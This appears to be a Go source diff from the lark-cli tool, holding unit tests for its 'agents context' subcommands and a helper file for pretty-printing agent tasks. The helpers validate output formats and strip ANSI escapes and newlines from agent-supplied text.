t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
}
data, _ := env.Data.(map[string]interface{})
contexts, ok := data["contexts"].([]interface{})
if !ok || len(contexts) != 3 {
t.Fatalf("data.contexts should have 3 entries, got %v", data["contexts"])
}
want := []string{"new", "mid", "old"}
for i, w := range want {
c, _ := contexts[i].(map[string]interface{})
if c["context_id"] != w {
t.Errorf("contexts[%d].context_id should be %q (newest-first), got %v", i, w, c["context_id"])
}
}
first, _ := contexts[0].(map[string]interface{})
if first["updated_at"] != "2026-07-05T12:00:00Z" {
t.Errorf("contexts[0].updated_at should be carried, got %v", first["updated_at"])
}
if _, ok := first["task_count"]; ok {
t.Errorf("context list entries must not carry task_count, got %v", first["task_count"])
}
if first["awaiting_input"] != true {
t.Errorf("contexts[0].awaiting_input should be true, got %v", first["awaiting_input"])
}
}
// TestContextListPaginationMeta pins the command-level pagination envelope for
// context list: a provider that returns a page plus PageInfo{HasMore,NextToken}
// surfaces as meta.has_more / meta.page_token, and meta.next carries a "下一页"
// action whose command replays the ref with --page-size / --page-token.
func TestContextListPaginationMeta(t *testing.T) {
opts, _ := contextTestOpts(t, "list")
opts.PageSize = 2
setScripted(t, scriptedHooks{listContexts: func(page iagents.PageParams) ([]iagents.ContextSummary, iagents.PageInfo, error) {
if page.Size != 2 {
t.Errorf("the hook should receive the requested page size 2, got %d", page.Size)
}
return []iagents.ContextSummary{
{ContextID: "sess_1", UpdatedAt: "2026-07-05T12:00:00Z"},
{ContextID: "sess_2", UpdatedAt: "2026-07-05T11:00:00Z"},
},
iagents.PageInfo{NextToken: "2", HasMore: true}, nil
}})
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
if err := agentContextListRun(opts); err != nil {
t.Fatalf("paged context list should not error: %v", err)
}
var env output.Envelope
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
}
if env.Meta == nil {
t.Fatal("a paged list should carry meta")
}
if !env.Meta.HasMore {
t.Error("meta.has_more should be true")
}
if env.Meta.PageToken != "2" {
t.Errorf("meta.page_token should be the next cursor \"2\", got %q", env.Meta.PageToken)
}
found := false
for _, n := range env.Meta.Next {
if n.Label == "下一页" && strings.Contains(n.Command, "lark-cli agents context list fakeflow:agt_x") &&
strings.Contains(n.Command, "--page-size 2") && strings.Contains(n.Command, "--page-token 2") {
found = true
}
}
if !found {
t.Errorf("meta.next should contain a 下一页 action replaying the ref + --page-size/--page-token, got %+v", env.Meta.Next)
}
}
// TestContextListError surfaces a provider ListContexts failure.
func TestContextListError(t *testing.T) {
opts, _ := contextTestOpts(t, "list")
setScripted(t, scriptedHooks{listContexts: func(iagents.PageParams) ([]iagents.ContextSummary, iagents.PageInfo, error) {
return nil, iagents.PageInfo{}, errs.NewAPIError(errs.SubtypeUnknown, "app ticket invalid").WithCode(99991663)
}})
if err := agentContextListRun(opts); err == nil {
t.Fatal("a ListContexts error should propagate")
}
}
// TestContextListInvalidRef surfaces a malformed ref as a validation error.
func TestContextListInvalidRef(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
err := agentContextListRun(&contextOptions{Ref: "no-colon", Cmd: contextCmdCtx(t, "list"), As: "bot", Factory: f})
if err == nil {
t.Fatal("malformed ref should error")
}
if !errs.IsValidation(err) {
t.Fatalf("should be a validation error, got %T", err)
}
}
// TestContextGetEmitsDetail pins the enriched `context get` shape: metadata +
// the task_count / awaiting_input rollup + a single active_task — and NO longer
// a full tasks[] array (that moved to `agents task list --context-id`). The
// active task's is_terminal is derived from State (input_required ⇒ false).
func TestContextGetEmitsDetail(t *testing.T) {
opts, _ := contextTestOpts(t, "get")
opts.CtxID = "sess_1"
setScripted(t, scriptedHooks{getContext: func(ctxID string) (*iagents.ContextDetail, error) {
return &iagents.ContextDetail{
ContextID: ctxID, Title: "销售分析", CreatedAt: "2026-07-05T10:01:11+08:00",
UpdatedAt: "2026-07-05T12:00:00+08:00", TaskCount: iagents.Int(2), AwaitingInput: true,
ActiveTask: &iagents.TaskSummary{
TaskID: "chat_2", State: iagents.StateInputRequired,
UpdatedAt: "2026-07-05T12:00:00+08:00", Summary: "请提供季度",
},
}, nil
}})
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
if err := agentContextGetRun(opts); err != nil {
t.Fatalf("context get should not error: %v", err)
}
var env output.Envelope
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
}
data, _ := env.Data.(map[string]interface{})
if data["context_id"] != "sess_1" {
t.Errorf("data.context_id should be sess_1, got %v", data["context_id"])
}
if data["title"] != "销售分析" {
t.Errorf("data.title should be echoed, got %v", data["title"])
}
if data["task_count"] != float64(2) {
t.Errorf("data.task_count should be 2, got %v", data["task_count"])
}
if data["awaiting_input"] != true {
t.Errorf("data.awaiting_input should be true, got %v", data["awaiting_input"])
}
if _, hasTasks := data["tasks"]; hasTasks {
t.Errorf("context get should no longer embed a tasks[] array, got %v", data["tasks"])
}
active, ok := data["active_task"].(map[string]interface{})
if !ok {
t.Fatalf("data.active_task should be present, got %v", data["active_task"])
}
if active["task_id"] != "chat_2" {
t.Errorf("active_task.task_id should be chat_2, got %v", active["task_id"])
}
if active["is_terminal"] != false {
t.Errorf("active_task.is_terminal should be derived from State (input_required ⇒ false), got %v", active["is_terminal"])
}
if active["summary"] != "请提供季度" {
t.Errorf("active_task.summary should carry the pending prompt, got %v", active["summary"])
}
}
// TestContextGetError surfaces a provider GetContext failure.
func TestContextGetError(t *testing.T) {
opts, _ := contextTestOpts(t, "get")
opts.CtxID = "sess_1"
setScripted(t, scriptedHooks{getContext: func(string) (*iagents.ContextDetail, error) {
return nil, errs.NewAPIError(errs.SubtypeUnknown, "app ticket invalid").WithCode(99991663)
}})
if err := agentContextGetRun(opts); err == nil {
t.Fatal("a GetContext error should propagate")
}
}
// TestContextGetInvalidRef surfaces a malformed ref as a validation error.
func TestContextGetInvalidRef(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
err := agentContextGetRun(&contextOptions{Ref: "no-colon", CtxID: "c1", Cmd: contextCmdCtx(t, "get"), As: "bot", Factory: f})
if err == nil {
t.Fatal("malformed ref should error")
}
if !errs.IsValidation(err) {
t.Fatalf("should be a validation error, got %T", err)
}
}
// TestContextListWithJq pins the --jq output branch for list: the filtered
// value (not the full envelope) is what reaches stdout.
func TestContextListWithJq(t *testing.T) {
opts, _ := contextTestOpts(t, "list")
opts.Cmd.Flags().String("jq", ".data.contexts | length", "")
setScripted(t, scriptedHooks{listContexts: func(iagents.PageParams) ([]iagents.ContextSummary, iagents.PageInfo, error) {
return []iagents.ContextSummary{{ContextID: "sess_1"}}, iagents.PageInfo{}, nil
}})
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
if err := agentContextListRun(opts); err != nil {
t.Fatalf("context list --jq should not error: %v", err)
}
got := strings.TrimSpace(string(out.Bytes()))
if got != "1" {
t.Errorf("--jq .data.contexts | length should output 1, got %q", got)
}
if strings.Contains(got, `"ok"`) {
t.Errorf("--jq output should be the filtered value, not the full envelope, got %q", got)
}
}
// TestContextListEmptyEmitsArray pins the array convention: an empty context
// list serializes as [] (never null), matching Card.Parameters.
func TestContextListEmptyEmitsArray(t *testing.T) {
opts, _ := contextTestOpts(t, "list")
setScripted(t, scriptedHooks{listContexts: func(iagents.PageParams) ([]iagents.ContextSummary, iagents.PageInfo, error) {
return nil, iagents.PageInfo{}, nil
}})
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
if err := agentContextListRun(opts); err != nil {
t.Fatalf("context list should not error: %v", err)
}
var env output.Envelope
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
}
data, _ := env.Data.(map[string]interface{})
v, present := data["contexts"]
if !present {
t.Fatal("data.contexts key should be present")
}
if _, ok := v.([]interface{}); !ok {
t.Errorf("empty context list should emit a JSON array (not null), got %T: %v", v, v)
}
if env.Meta != nil {
t.Errorf("empty list should omit meta entirely (no ambiguous {} shape), got %+v", env.Meta)
}
}
// TestContextListPretty exercises the --format pretty human-view branch for
// list: header TSV rows (not a JSON envelope), with the agent-controlled Title
// stripped of ANSI escapes.
func TestContextListPretty(t *testing.T) {
opts, _ := contextTestOpts(t, "list")
opts.Format = "pretty"
setScripted(t, scriptedHooks{listContexts: func(iagents.PageParams) ([]iagents.ContextSummary, iagents.PageInfo, error) {
return []iagents.ContextSummary{
{ContextID: "sess_1", Title: "\x1b[2J销售分析", CreatedAt: "2026-07-05T10:01:11+08:00"},
}, iagents.PageInfo{}, nil
}})
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
if err := agentContextListRun(opts); err != nil {
t.Fatalf("context list --format pretty should not error: %v", err)
}
s := string(out.Bytes())
if !strings.HasPrefix(s, "CONTEXT_ID\tCREATED_AT\tUPDATED_AT\tTITLE\tAWAITING_INPUT\n") {
t.Errorf("pretty output should start with a header row, got %q", s)
}
if !strings.Contains(s, "sess_1") || !strings.Contains(s, "销售分析") {
t.Errorf("pretty output should contain context_id and title, got %q", s)
}
if strings.Contains(s, "\x1b") {
t.Errorf("ANSI sequences in Title must be stripped: %q", s)
}
if strings.Contains(s, `"ok"`) {
t.Errorf("pretty output should be a human view, not a JSON envelope, got %q", s)
}
}
// TestContextGetWithJq pins the added --jq flag on context get: the envelope is
// filtered through the jq expression.
func TestContextGetWithJq(t *testing.T) {
opts, _ := contextTestOpts(t, "get")
opts.CtxID = "sess_1"
opts.Cmd.Flags().String("jq", "", "")
if err := opts.Cmd.Flags().Set("jq", ".data.context_id"); err != nil {
t.Fatal(err)
}
setScripted(t, scriptedHooks{getContext: func(ctxID string) (*iagents.ContextDetail, error) {
return &iagents.ContextDetail{ContextID: ctxID}, nil
}})
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
if err := agentContextGetRun(opts); err != nil {
t.Fatalf("context get --jq should not error: %v", err)
}
got := strings.TrimSpace(string(out.Bytes()))
if !strings.Contains(got, "sess_1") || strings.Contains(got, `"ok"`) {
t.Errorf("--jq .data.context_id should output only the filtered result, got %q", got)
}
}
// TestContextGetPretty pins the --format pretty branch on context get: key:
// value lines with the task_count / awaiting_input rollup + a one-line
// active_task digest, title ANSI-stripped, and no full tasks[] list.
func TestContextGetPretty(t *testing.T) {
opts, _ := contextTestOpts(t, "get")
opts.CtxID = "sess_1"
opts.Format = "pretty"
setScripted(t, scriptedHooks{getContext: func(ctxID string) (*iagents.ContextDetail, error) {
return &iagents.ContextDetail{
ContextID: ctxID, Title: "\x1b[31m销售分析\x1b[0m",
TaskCount: iagents.Int(1), AwaitingInput: false,
ActiveTask: &iagents.TaskSummary{
TaskID: "chat_1", State: iagents.StateCompleted, IsTerminal: true, Summary: "分析完成",
},
}, nil
}})
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
if err := agentContextGetRun(opts); err != nil {
t.Fatalf("context get --format pretty should not error: %v", err)
}
s := string(out.Bytes())
for _, want := range []string{"context_id: sess_1", "title: 销售分析", "task_count: 1", "active_task: completed"} {
if !strings.Contains(s, want) {
t.Errorf("pretty output should contain %q, got %q", want, s)
}
}
if strings.Contains(s, "\x1b") {
t.Errorf("ANSI sequences in title must be stripped: %q", s)
}
if strings.Contains(s, "tasks:") {
t.Errorf("context get pretty should no longer render a tasks[] list, got %q", s)
}
}
// findSub returns the direct subcommand of cmd whose Name() == name, or nil.
func findSub(cmd *cobra.Command, name string) *cobra.Command {
for _, c := range cmd.Commands() {
if c.Name() == name {
return c
}
}
return nil
}
// TestNewCmdAgentContext_GroupHasSubcommands pins the group is a pure group (no
// RunE) with list/get/delete leaves.
func TestNewCmdAgentContext_GroupHasSubcommands(t *testing.T) {
cmd := NewCmdAgentContext(nil)
if cmd.RunE != nil || cmd.Run != nil {
t.Error("agents context group should not have RunE")
}
want := []string{"list", "get", "delete"}
for _, name := range want {
if findSub(cmd, name) == nil {
t.Errorf("missing subcommand context %s", name)
}
}
}
// TestNewCmdAgentContextList_ReadRisk pins list = read risk, ExactArgs(1), and
// the default flip: --format defaults to json.
func TestNewCmdAgentContextList_ReadRisk(t *testing.T) {
cmd := NewCmdAgentContextList(nil)
if level, ok := cmdutil.GetRisk(cmd); !ok || level != cmdutil.RiskRead {
t.Errorf("context list should be marked read risk, got level=%q ok=%v", level, ok)
}
if err := cmd.Args(cmd, []string{}); err == nil {
t.Error("context list missing ref should report an argument error (ExactArgs 1)")
}
if err := cmd.Args(cmd, []string{"example:x"}); err != nil {
t.Errorf("context list with a single ref should be valid: %v", err)
}
fl := cmd.Flags().Lookup("format")
if fl == nil || fl.DefValue != "json" {
t.Errorf("context list --format default should flip to json, got %+v", fl)
}
}
// TestNewCmdAgentContextGet_ReadRisk pins get = read risk, ExactArgs(2), and
// the added --format / --jq flags.
func TestNewCmdAgentContextGet_ReadRisk(t *testing.T) {
cmd := NewCmdAgentContextGet(nil)
if level, ok := cmdutil.GetRisk(cmd); !ok || level != cmdutil.RiskRead {
t.Errorf("context get should be marked read risk, got level=%q ok=%v", level, ok)
}
if err := cmd.Args(cmd, []string{"example:x"}); err == nil {
t.Error("context get missing ctx-id should report an argument error (ExactArgs 2)")
}
if err := cmd.Args(cmd, []string{"example:x", "c1"}); err != nil {
t.Errorf("context get ref+ctx-id should be valid: %v", err)
}
for _, name := range []string{"format", "jq"} {
if cmd.Flags().Lookup(name) == nil {
t.Errorf("context get should have a --%s flag", name)
}
}
}
// TestNewCmdAgentContextDelete_HighRiskWrite pins delete = high-risk-write risk,
// ExactArgs(2), a --yes flag, and the added --format / --jq flags.
func TestNewCmdAgentContextDelete_HighRiskWrite(t *testing.T) {
cmd := NewCmdAgentContextDelete(nil)
if level, ok := cmdutil.GetRisk(cmd); !ok || level != cmdutil.RiskHighRiskWrite {
t.Errorf("context delete should be marked high-risk-write risk, got level=%q ok=%v", level, ok)
}
if err := cmd.Args(cmd, []string{"example:x"}); err == nil {
t.Error("context delete missing ctx-id should report an argument error (ExactArgs 2)")
}
if cmd.Flags().Lookup("yes") == nil {
t.Error("context delete should have a --yes flag")
}
for _, name := range []string{"format", "jq"} {
if cmd.Flags().Lookup(name) == nil {
t.Errorf("context delete should have a --%s flag", name)
}
}
}

View File

@@ -1,322 +0,0 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
// This file holds the --format surface shared by every agent leaf: value
// validation, the pretty renderers (task key:value view, list
// header-TSV views) with ANSI stripping for agent-controlled text, and the
// arg-count validators that wrap cobra's bare "accepts N arg(s)" into a typed
// validation error carrying a 用法 hint.
package agents
import (
"fmt"
"io"
"strings"
"github.com/spf13/cobra"
"github.com/larksuite/cli/errs"
iagents "github.com/larksuite/cli/internal/agents"
"github.com/larksuite/cli/internal/validate"
)
// formatFlagHelp is the uniform --format help text across every agent leaf
// (json is the tree-wide default, pretty the human opt-in).
const formatFlagHelp = "output format: json (default) | pretty"
// validateFormat rejects any --format outside json|pretty as a
// validation/invalid_argument error (exit 2). The empty string is accepted for
// options structs built directly in tests; the registered flag default is
// "json" so a CLI invocation never passes "".
func validateFormat(format string) error {
switch format {
case "", "json", "pretty":
return nil
}
return errs.NewValidationError(errs.SubtypeInvalidArgument,
"不支持的 --format 值 %q", format).
WithParam("--format").
WithHint("合法值: json | pretty")
}
// stripANSI sanitizes agent-controlled text before it is written raw to a
// terminal by a pretty renderer, preventing terminal escape-sequence injection.
// It delegates to validate.SanitizeForTerminal, which is a superset of the
// mandated CSI regex:
// it also drops OSC sequences, bare ESC / C0 control bytes and dangerous
// Unicode. JSON output paths must NOT use this — programmatic consumers get
// the raw data.
func stripANSI(s string) string {
return validate.SanitizeForTerminal(s)
}
// kvValue sanitizes an agent-controlled value for a single-line "key: value"
// pretty row: ANSI-stripped, then \n/\t collapsed to single spaces —
// SanitizeForTerminal deliberately preserves those, so without this a value
// like "done\nstate: completed" would forge an adjacent field row. TSV
// renderers keep plain stripANSI under their documented no-escape exemption.
func kvValue(s string) string {
s = stripANSI(s)
s = strings.ReplaceAll(s, "\n", " ")
return strings.ReplaceAll(s, "\t", " ")
}
// truncateRunes caps s at max runes, appending an ellipsis when truncated.
func truncateRunes(s string, max int) string {
r := []rune(s)
if len(r) <= max {
return s
}
return string(r[:max]) + "…"
}
// firstTextOf returns the first user-authored text Part carried by the task's
// messages, or "". Some providers return output-only snapshots; treating their
// first agent reply as the request would print the same content twice.
func firstTextOf(task *iagents.AgentTask) string {
for _, m := range task.Messages {
if m.Role != "user" {
continue
}
for _, p := range m.Parts {
if p.Type == "text" && p.Text != "" {
return p.Text
}
}
}
return ""
}
// lastAgentTextOf returns the last agent-authored text Part — the task's
// current RESULT line, the same word the task-list SUMMARY column uses. The
// single-task pretty view must show the outcome, not just echo the request.
func lastAgentTextOf(task *iagents.AgentTask) string {
for i := len(task.Messages) - 1; i >= 0; i-- {
if task.Messages[i].Role != "agent" {
continue
}
for j := len(task.Messages[i].Parts) - 1; j >= 0; j-- {
p := task.Messages[i].Parts[j]
if p.Type == "text" && p.Text != "" {
return p.Text
}
}
}
return ""
}
// printTaskPretty renders the task-class pretty view: line-per-field
// key: value with state / task_id / context_id / first text message truncated
// to 120 runes / artifacts count. Every agent-controlled string goes through
// kvValue (ANSI strip + newline/tab neutralization) so it can neither inject
// terminal sequences nor forge an adjacent field row.
func printTaskPretty(w io.Writer, task *iagents.AgentTask) {
if task == nil {
fmt.Fprintln(w, "(no task)")
return
}
fmt.Fprintf(w, "state: %s\n", kvValue(string(task.State)))
fmt.Fprintf(w, "task_id: %s\n", kvValue(task.TaskID))
if task.ContextID != "" {
fmt.Fprintf(w, "context_id: %s\n", kvValue(task.ContextID))
}
if req := firstTextOf(task); req != "" {
fmt.Fprintf(w, "request: %s\n", truncateRunes(kvValue(req), 120))
}
if reply := lastAgentTextOf(task); reply != "" {
fmt.Fprintf(w, "reply: %s\n", truncateRunes(kvValue(reply), 120))
}
if count, kinds := dataPartsOf(task); count > 0 {
fmt.Fprintf(w, "data_parts: %d", count)
if len(kinds) > 0 {
fmt.Fprintf(w, " (%s)", kvValue(strings.Join(kinds, ", ")))
}
fmt.Fprintln(w)
}
fmt.Fprintf(w, "artifacts: %d\n", len(task.Artifacts))
for _, artifact := range task.Artifacts {
fmt.Fprintf(w, " artifact %s: %s", kvValue(artifact.ID), kvValue(artifact.Kind))
if artifact.Name != "" {
fmt.Fprintf(w, " %s", kvValue(artifact.Name))
}
if artifact.Status != "" {
fmt.Fprintf(w, " [%s]", kvValue(artifact.Status))
}
fmt.Fprintln(w)
}
// input_required question group: group headline, then numbered questions
// with their answer form and options. Every field is agent-controlled, so
// all go through kvValue.
if ir := task.InputRequired; ir != nil {
head := ir.Label
if head != "" && ir.Description != "" {
head += " — " + ir.Description
} else if head == "" {
head = ir.Description
}
if head == "" && len(ir.Questions) == 1 {
// single untitled question: headline IS the question, no numbering.
q := ir.Questions[0]
fmt.Fprintf(w, "input_required: %s%s\n", truncateRunes(kvValue(q.Question), 120), questionKindSuffix(q))
printOptionsPretty(w, " ", q.Options)
return
}
fmt.Fprintf(w, "input_required: %s\n", truncateRunes(kvValue(head), 120))
for i, q := range ir.Questions {
fmt.Fprintf(w, " [%d] %s%s\n", i+1, truncateRunes(kvValue(q.Question), 120), questionKindSuffix(q))
printOptionsPretty(w, " ", q.Options)
}
}
}
// questionKindSuffix annotates a question row with its answer form: free text
// or multi-select (a plain single-select needs no annotation — options below it
// say enough).
func questionKindSuffix(q iagents.Question) string {
if len(q.Options) == 0 {
return "(自由文本)"
}
if q.MultiSelect {
return "(可多选)"
}
return ""
}
// printOptionsPretty renders one "id: label — description" row per option under
// the given indent; every field is agent-controlled and goes through kvValue.
func printOptionsPretty(w io.Writer, indent string, opts []iagents.Option) {
for _, o := range opts {
row := fmt.Sprintf("%s: %s", kvValue(o.OptionID), kvValue(o.Label))
if o.Description != "" {
row += " — " + kvValue(o.Description)
}
fmt.Fprintf(w, "%s%s\n", indent, row)
}
}
func dataPartsOf(task *iagents.AgentTask) (int, []string) {
count := 0
kinds := make([]string, 0)
seen := make(map[string]struct{})
for _, message := range task.Messages {
for _, part := range message.Parts {
if part.Type != "data" {
continue
}
count++
data, ok := part.Data.(map[string]interface{})
if !ok {
continue
}
kind, _ := data["kind"].(string)
if kind == "" {
continue
}
if _, ok := seen[kind]; ok {
continue
}
seen[kind] = struct{}{}
kinds = append(kinds, kind)
}
}
return count, kinds
}
// TSV renderers below intentionally do not escape tab/newline in cell values:
// a value containing them breaks the column layout. The agent's primary
// consumption surface is json; pretty is for human inspection only, so leaving
// them unescaped is acceptable.
// printTaskSummariesTSV renders the list-class pretty view for tasks: a header
// row naming the json fields, then one row per task. Summary is agent-controlled
// text, so it is ANSI-stripped AND newline/tab-flattened via kvValue — an
// unflattened tab/newline would otherwise break the column layout; the ids keep
// plain stripANSI under the TSV no-escape exemption.
func printTaskSummariesTSV(w io.Writer, tasks []iagents.TaskSummary) {
fmt.Fprintf(w, "TASK_ID\tCONTEXT_ID\tSTATE\tIS_TERMINAL\tUPDATED_AT\tSUMMARY\n")
for _, t := range tasks {
fmt.Fprintf(w, "%s\t%s\t%s\t%t\t%s\t%s\n",
stripANSI(t.TaskID), stripANSI(t.ContextID), stripANSI(string(t.State)), t.IsTerminal, stripANSI(t.UpdatedAt), kvValue(t.Summary))
}
}
// printContextsTSV renders the list-class pretty view for contexts. The Title is
// agent-controlled and ANSI-stripped; AwaitingInput is the conversation-layer
// rollup used to spot which session needs attention.
func printContextsTSV(w io.Writer, contexts []iagents.ContextSummary) {
fmt.Fprintf(w, "CONTEXT_ID\tCREATED_AT\tUPDATED_AT\tTITLE\tAWAITING_INPUT\n")
for _, c := range contexts {
fmt.Fprintf(w, "%s\t%s\t%s\t%s\t%t\n",
stripANSI(c.ContextID), stripANSI(c.CreatedAt), stripANSI(c.UpdatedAt), stripANSI(c.Title), c.AwaitingInput)
}
}
// printContextDetailPretty renders `context get --format pretty` as a
// conversation overview: metadata + the task_count / awaiting_input rollup, and
// — when present — a one-line digest of the active task
// (state · updated_at · summary). It deliberately does NOT expand the full task
// list (that is `agents task list --context-id`). Agent-controlled strings (Title
// and the active-task Summary) go through kvValue so they cannot forge adjacent
// field rows.
func printContextDetailPretty(w io.Writer, detail *iagents.ContextDetail) {
if detail == nil {
fmt.Fprintln(w, "(no context)")
return
}
fmt.Fprintf(w, "context_id: %s\n", kvValue(detail.ContextID))
if detail.CreatedAt != "" {
fmt.Fprintf(w, "created_at: %s\n", kvValue(detail.CreatedAt))
}
if detail.UpdatedAt != "" {
fmt.Fprintf(w, "updated_at: %s\n", kvValue(detail.UpdatedAt))
}
if detail.Title != "" {
fmt.Fprintf(w, "title: %s\n", kvValue(detail.Title))
}
// nil TaskCount = the provider cannot supply the count; omit the line
// rather than printing a misleading 0.
if detail.TaskCount != nil {
fmt.Fprintf(w, "task_count: %d\n", *detail.TaskCount)
}
fmt.Fprintf(w, "awaiting_input: %t\n", detail.AwaitingInput)
if at := detail.ActiveTask; at != nil {
fmt.Fprintf(w, "active_task: %s · %s · %s\n", kvValue(string(at.State)), kvValue(at.UpdatedAt), kvValue(at.Summary))
}
}
// usageHintOf builds the "用法: <command path> <positional shape>" hint from
// the executing command's Use line, so the hint never drifts from the
// registered Use string.
func usageHintOf(cmd *cobra.Command) string {
if _, shape, ok := strings.Cut(cmd.Use, " "); ok {
return fmt.Sprintf("用法: %s %s", cmd.CommandPath(), shape)
}
return "用法: " + cmd.CommandPath()
}
// exactArgsWithUsage is cobra.ExactArgs wrapped into a typed validation error
// (exit 2) whose hint carries the full usage string — cobra's bare English
// "accepts 2 arg(s), received 1" never says WHAT is missing.
func exactArgsWithUsage(n int) cobra.PositionalArgs {
return func(cmd *cobra.Command, args []string) error {
if len(args) != n {
return errs.NewValidationError(errs.SubtypeInvalidArgument,
"需要 %d 个位置参数,收到 %d 个", n, len(args)).
WithHint("%s", usageHintOf(cmd))
}
return nil
}
}
// maximumArgsWithUsage is the cobra.MaximumNArgs counterpart of
// exactArgsWithUsage, for leaves with an optional positional (agents list).
func maximumArgsWithUsage(n int) cobra.PositionalArgs {
return func(cmd *cobra.Command, args []string) error {
if len(args) > n {
return errs.NewValidationError(errs.SubtypeInvalidArgument,
"最多接受 %d 个位置参数,收到 %d 个", n, len(args)).
WithHint("%s", usageHintOf(cmd))
}
return nil
}
}

View File

@@ -1,486 +0,0 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package agents
import (
"bytes"
"encoding/json"
"errors"
"strings"
"testing"
"github.com/spf13/cobra"
"github.com/larksuite/cli/errs"
iagents "github.com/larksuite/cli/internal/agents"
"github.com/larksuite/cli/internal/output"
)
// TestPrintTaskPrettyRendersQuestionGroup pins that printTaskPretty surfaces an
// input_required question group: group headline (label — description), numbered
// questions with their answer-form annotation (自由文本 / 可多选), and
// id: label — description option rows — with all agent-controlled fields
// ANSI-stripped.
func TestPrintTaskPrettyRendersQuestionGroup(t *testing.T) {
out := &bytes.Buffer{}
printTaskPretty(out, &iagents.AgentTask{
TaskID: "task_1", State: iagents.StateInputRequired,
InputRequired: &iagents.InputRequired{
Label: "报表生成确认",
Description: "生成前需确认\x1b[2J口径",
Questions: []iagents.Question{
{QuestionID: "q1_a8", Question: "按什么维度拆分?", Options: []iagents.Option{
{OptionID: "by_region", Label: "按大区", Description: "华东/华北/华南汇总"},
{OptionID: "by_category", Label: "按品类"},
}},
{QuestionID: "q2_a8", Question: "时间范围?"},
{QuestionID: "q3_a8", Question: "包含哪些区域?", MultiSelect: true, Options: []iagents.Option{
{OptionID: "east", Label: "华东"},
}},
},
},
})
text := out.String()
for _, want := range []string{
"input_required: 报表生成确认 — 生成前需确认",
"[1] 按什么维度拆分?",
"by_region: 按大区 — 华东/华北/华南汇总",
"by_category: 按品类",
"[2] 时间范围?(自由文本)",
"[3] 包含哪些区域?(可多选)",
"east: 华东",
} {
if !strings.Contains(text, want) {
t.Errorf("pretty task should render question-group part %q, got:\n%s", want, text)
}
}
if strings.Contains(text, "\x1b") {
t.Errorf("ANSI in group text must be stripped, got %q", text)
}
// A single untitled question renders as the headline itself — no numbering.
out.Reset()
printTaskPretty(out, &iagents.AgentTask{
TaskID: "task_2", State: iagents.StateInputRequired,
InputRequired: &iagents.InputRequired{Questions: []iagents.Question{
{QuestionID: "q1_b2", Question: "请补充时间范围"},
}},
})
single := out.String()
if !strings.Contains(single, "input_required: 请补充时间范围(自由文本)") {
t.Errorf("single untitled question should be the headline, got:\n%s", single)
}
if strings.Contains(single, "[1]") {
t.Errorf("single question must not be numbered, got:\n%s", single)
}
}
func TestPrintTaskPrettyRendersOutputOnlyTask(t *testing.T) {
out := &bytes.Buffer{}
printTaskPretty(out, &iagents.AgentTask{
TaskID: "task_1", State: iagents.StateCompleted,
Messages: []iagents.Message{{Role: "agent", Parts: []iagents.Part{
{Type: "text", Text: "执行完成"},
{Type: "data", Data: map[string]interface{}{"kind": "qa_chart"}},
}}},
Artifacts: []iagents.Artifact{{ID: "artifact_1", Kind: "table", Name: "销售表", Status: "ready"}},
})
text := out.String()
for _, want := range []string{"reply: 执行完成", "data_parts: 1 (qa_chart)", "artifact artifact_1: table 销售表 [ready]"} {
if !strings.Contains(text, want) {
t.Errorf("pretty task should render %q, got:\n%s", want, text)
}
}
if strings.Contains(text, "request: 执行完成") {
t.Errorf("output-only task must not duplicate the first agent reply as request, got:\n%s", text)
}
}
func TestPrintTaskPrettyUsesLastTextPartAsReply(t *testing.T) {
out := &bytes.Buffer{}
printTaskPretty(out, &iagents.AgentTask{
TaskID: "task_1", State: iagents.StateCompleted,
Messages: []iagents.Message{{Role: "agent", Parts: []iagents.Part{
{Type: "text", Text: "开始处理"},
{Type: "data", Data: map[string]interface{}{"kind": "qa_table"}},
{Type: "text", Text: "执行完成"},
}}},
})
if text := out.String(); !strings.Contains(text, "reply: 执行完成") || strings.Contains(text, "reply: 开始处理") {
t.Fatalf("pretty should use the last text part, got:\n%s", text)
}
}
// TestValidateFormat_Valid pins that json/pretty (and the zero value, which
// only occurs when options structs are built directly in tests) pass.
func TestValidateFormat_Valid(t *testing.T) {
for _, f := range []string{"", "json", "pretty"} {
if err := validateFormat(f); err != nil {
t.Errorf("format %q should be valid: %v", f, err)
}
}
}
// TestValidateFormat_Invalid pins that a --format outside json|pretty is a
// validation/invalid_argument error (exit 2) whose hint lists the legal values
// and whose param names the flag with the -- prefix.
func TestValidateFormat_Invalid(t *testing.T) {
err := validateFormat("yaml")
if err == nil {
t.Fatal("--format yaml should error (currently silently treated as json)")
}
if !errs.IsValidation(err) {
t.Fatalf("should be a validation error, got %T", err)
}
p, ok := errs.ProblemOf(err)
if !ok || p.Subtype != errs.SubtypeInvalidArgument {
t.Fatalf("subtype should be invalid_argument, got %+v", p)
}
if output.ExitCodeOf(err) != output.ExitValidation {
t.Fatalf("exit should be 2, got %d", output.ExitCodeOf(err))
}
if !strings.Contains(p.Hint, "json | pretty") {
t.Errorf("hint should list the legal values json | pretty, got %q", p.Hint)
}
var verr *errs.ValidationError
if !errors.As(err, &verr) || verr.Param != "--format" {
t.Errorf("param should be --format, got %+v", verr)
}
}
// agentRootTree builds `lark-cli agents ...` as production wires it (root Use
// lark-cli), with a nil Factory: format validation must fire at the RunE
// entry, before any Factory access.
func agentRootTree() *cobra.Command {
